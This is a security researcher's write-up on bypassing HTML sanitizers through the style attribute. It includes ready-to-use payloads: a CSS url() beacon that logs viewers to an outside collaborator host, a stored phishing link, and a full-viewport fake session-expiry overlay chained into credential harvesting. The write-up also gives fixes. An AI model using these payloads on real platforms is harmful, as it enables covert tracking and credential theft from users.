The Style Attribute Is Your Sanitizer's Blind Spot

A field guide to finding CSS-based page hijacks in HTML sanitizers

Disclaimer: The specific platform this research came from is under an active 90-day disclosure window and isn't named here. Every payload, technique, and finding below is written to be reproduced against any HTML sanitizer that allows the style attribute, not just the one I originally tested. All testing was performed against accounts owned by the testers.

I want to open with the thing that surprised me, because it sets up everything that follows. The sanitizer I was testing was good. It stripped every <script> tag thrown at it, killed event handlers across the board, caught javascript: protocol even with tab-encoding and case tricks, neutralized SVG animation vectors, and had a hard blocklist for <link> and <meta> that nulled the entire field instead of just stripping the tag. Someone had clearly thought through an XSS threat model and executed on it well.

However, it didn't touch the style attribute at all.

Not partially or even in some edge case. Every value put in a style attribute came back intact: url() references, arbitrary positioning, z-index, all of it. That one gap is what this entire post is about, because it turns out you can do a lot of damage with CSS and zero JavaScript.

The short version: a medium-severity HTML injection turned into a full-page viewport hijack that survives moderation and requires no user interaction beyond opening a page. Here's how that chain built, and how to go looking for it yourself.


Start with Recon, Not Payloads

Before touching the sanitizer, we did the boring thing first: read the page source. Client-side SPA bootstraps love to dump their entire runtime config into window.SomeConfig as a plaintext JS object. On the platform I was looking at, this handed me API keys for a handful of third-party services, a write key for an analytics pipeline (which means anyone can inject fake events into the vendor's downstream automations without ever touching the actual app), and a full infrastructure map: GraphQL endpoints, websocket hosts, SSO callback URLs, CDN paths.

None of that requires a single crafted request. It's just reading what the app already handed you. If you're auditing a SaaS platform, this is step zero, every time.

From there we sent a standard introspection query:

{ "query": "{ __schema { types { name fields { name } } } }" }

Hundreds of types came back, on a production, multi-tenant API. The data resolvers themselves were correctly gated behind auth (403 across the board), so this wasn't a direct data leak, it was a recon amplifier. Instead of guessing at mutation names, we were handed a complete list, including several that would be worth revisiting with a higher-privileged token: account suspension, ownership transfer, forced logout, migration triggers. None of that is exploitable without credentials, but it tells you exactly what to aim at if you ever get them. Introspection turned on in a production GraphQL API is a finding on its own, separate from anything else you find.


Map What the Sanitizer Actually Does Before You Try to Break It

Don't jump straight to payloads. Spend time understanding the shape of the allowlist first: which tags survive, which get stripped versus nulled, how attributes are handled per tag. We worked through this methodically:

  • Standard tags (<a>, <p>, <img>, <h1>, <svg>) were preserved.
  • Event handlers were stripped broadly, regardless of which tag they sat on.
  • javascript: in href was caught, including tab-encoded and case-varied forms.
  • SVG child elements like <animate> and <set> were stripped entirely, neutralizing the classic SVG event-handler vector.
  • <link> and <meta> triggered full field nullification rather than simple tag stripping, which tells you there's a separate hard blocklist layered on top of the general allowlist logic.

This is professional and intentional security hardening. Whoever built it had clearly tested against real XSS payloads. But mapping this out is what let us find the one thing they never tested against.


The Gap: Nobody Validated the Style Attribute

We tried the simplest possible test:

<p style="background:url(https://your-collaborator-domain/test)">test</p>

It went through unmodified. Every CSS value submitted came back exactly as sent. That's the finding. The sanitizer was built to stop script execution, and it does that well. CSS as a threat model was apparently never on the table.

Everything below is what happens once you start pulling on that thread.

Finding 1: Prove the Trust Assumption (Medium)

Start simple:

<h1 style="color:red">INJECTED</h1>

If this renders as a real, styled heading in the page, you've confirmed the core assumption every downstream finding depends on: whatever survives the sanitizer gets rendered as a first-class DOM element, with no further scrutiny. That trust is the whole attack surface.

Finding 2: Stored Phishing Links (High)

If <a> is allowlisted and only the javascript: protocol is filtered from href, a plain https:// link to any external domain sails through untouched:

<a href="https://attacker-domain.example">Your account requires immediate verification. Click here.</a>

It renders as an ordinary, trustworthy link. The reason this matters more than a generic phishing link: it's sitting inside a thread the victim already trusts, in a platform they're already logged into. The context is the attack, not the link text.

Finding 3: The CSS Beacon, Silent Tracking with Zero JS (High)

background-image: url() causes the browser to fire an HTTP request the instant the element renders. This is old email-security-research territory, and it works exactly the same way here:

<p style="background:url(https://your-collaborator-domain/poc)">Check out this resource!</p>

Post it, then open the page as a second account. Poll your Collaborator (or equivalent). You'll get a hit with the victim's IP, User-Agent, timestamp, and Referer, showing exactly which page they were on when the request fired. No click required, no interaction at all beyond loading the page.

One practical wrinkle: a lot of platforms enforce a minimum visible-character requirement on content fields. A zero-width space alone won't satisfy it, so you need actual visible text, which conveniently also makes the payload look more like a normal post.

Think through the actual abuse case here: drop this into a thread about a security incident, or an executive announcement, or anything people are quietly monitoring. Every reader gets logged. You end up with a profile of exactly who's watching sensitive content, and when, without a single one of them doing anything wrong.

Finding 4: Check Whether Moderation Actually Removes the Payload (High)

This is the step people skip, and it's the one that changes how a defender should think about remediation. After confirming the beacon works, get the parent post hidden by a moderator, then check whether the content is really gone.

On the platform we tested, it wasn't. The post disappeared from the feed, but the reply remained fully rendered on the replying account's profile page, under its own dedicated tab. When we polled Collaborator again, it fired.

Post-level visibility controls don't necessarily cascade to content rendered through other surfaces, like a user's profile. If that's true on the platform you're testing, "the moderator hid it" is not remediation, it's a false sense of one. The actual fix requires deleting the content itself and auditing the account, not just hiding the parent object. This is worth testing on every platform with any kind of moderation or hide/unpublish feature, because it's rarely covered by the same access-control logic that governs the primary feed.

Finding 5: The Full-Page Overlay (Critical)

This was where we expected to get blocked and didn't. position:fixed felt like an obvious thing for any sanitizer to catch. It wasn't:

<p style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;background:white">
  <a href="https://attacker-domain.example" style="display:block;text-align:center;margin-top:20%">
    Your session has expired. Click here to log in.
  </a>
</p>

Loaded as a regular, authenticated user, this took over the entire browser viewport. Navigation, sidebar, all legitimate content, gone. In the center: a fake session-expiry prompt pointing at an attacker-controlled domain.

position:fixed, z-index:9999, width:100%, height:100%: all of it passed through untouched. No JavaScript. No user interaction beyond opening a page they were already going to open. One authenticated account is all it takes.

If the target is a single-page application, it gets worse. SPAs load the shell once and swap DOM sections in place on navigation, rather than tearing down and rebuilding the page. That means a fixed-position injected element doesn't get cleaned up when the victim navigates elsewhere within the app. We confirmed this by injecting the overlay on one page, then navigating to an unrelated tab within the same app. The overlay traveled with me. In a traditional multi-page app, that navigation would have destroyed the DOM and killed the payload. Not here.

Chain it together and you get something like this:

  1. Attacker posts the overlay as a reply to any visible thread.
  2. Every viewer's browser renders a full-page fake session-expiry prompt.
  3. As they navigate the SPA, the overlay follows them.
  4. They click the link and land on a credential-harvesting page.
  5. A moderator hides the post, thinking that's the fix.
  6. The payload keeps firing from the attacker's profile page indefinitely, per Finding 4.

One account, one post, and a moderator's "fix" doesn't touch it.


Why This Happens

The root cause isn't sloppy engineering, it's a scoped threat model. Whoever built this sanitizer clearly thought hard about script execution: they caught encoded protocol handlers, they neutralized SVG's animation-based event vectors, they had a hard blocklist for tags with known injection history. That's real, deliberate work.

CSS just never made the list. position:fixed doesn't appear in any XSS cheat sheet. A CSS beacon doesn't show up in the OWASP Top 10. But the browser doesn't care whether the attack came through <script> or through a stylesheet, it just renders what it's told to render. If you're building or auditing a sanitizer, the style attribute deserves the same scrutiny as href and src. It can make outbound network requests and it can cover the entire screen, and it does both without any script execution at all.


How to Actually Fix It

Two real options, and they trade off differently:

  • Strip the style attribute entirely. Clean, unambiguous, and removes a legitimate formatting capability along with the risk. If your platform doesn't have a strong product reason for inline styling in user content, this is the right call.
  • Allowlist specific safe properties (color, font-size, font-weight, text-align) and explicitly block the dangerous ones (position, z-index, any offset property, any property that accepts url(), @import, expression()). More surgical, but it puts you on the hook to keep the blocklist current as CSS evolves. Any property you miss reopens the class.

A Content Security Policy with strict img-src / connect-src will shut down the beacon (Finding 3), because that attack depends on an actual outbound fetch. It does nothing for the overlay (Finding 5), because that attack is pure rendering, no network request involved, and the only outbound action is a top-level navigation triggered by the victim clicking a link, which CSP's fetch directives were never designed to govern. If someone proposes CSP as THE fix rather than A layer, push back specifically on that point.

And fix the moderation cascade separately. If hiding a parent object doesn't hide its children across every surface that renders them, that's a distinct access-control bug, not a sanitizer problem, and it needs its own fix regardless of what happens to the style attribute.


What I'd Want Other Researchers to Take from This

If you're testing a platform that accepts rich-text or HTML input, don't stop once you've confirmed <script> and event handlers are blocked. That's table stakes, and most sanitizers get it right these days. Go test the style attribute specifically, and test it for both outbound-request primitives (url()) and pure-layout primitives (position:fixed, z-index, transform). The second category is the one people miss, because it doesn't look like "code" and it doesn't trip anyone's mental model of what XSS is supposed to look like.

And once you've confirmed a payload works, don't stop at "it renders." Test what happens when the obvious mitigation is applied. Hide the post. Does the payload actually die, or does it just move somewhere else? That question is where a medium-severity injection turns into a critical, persistent one.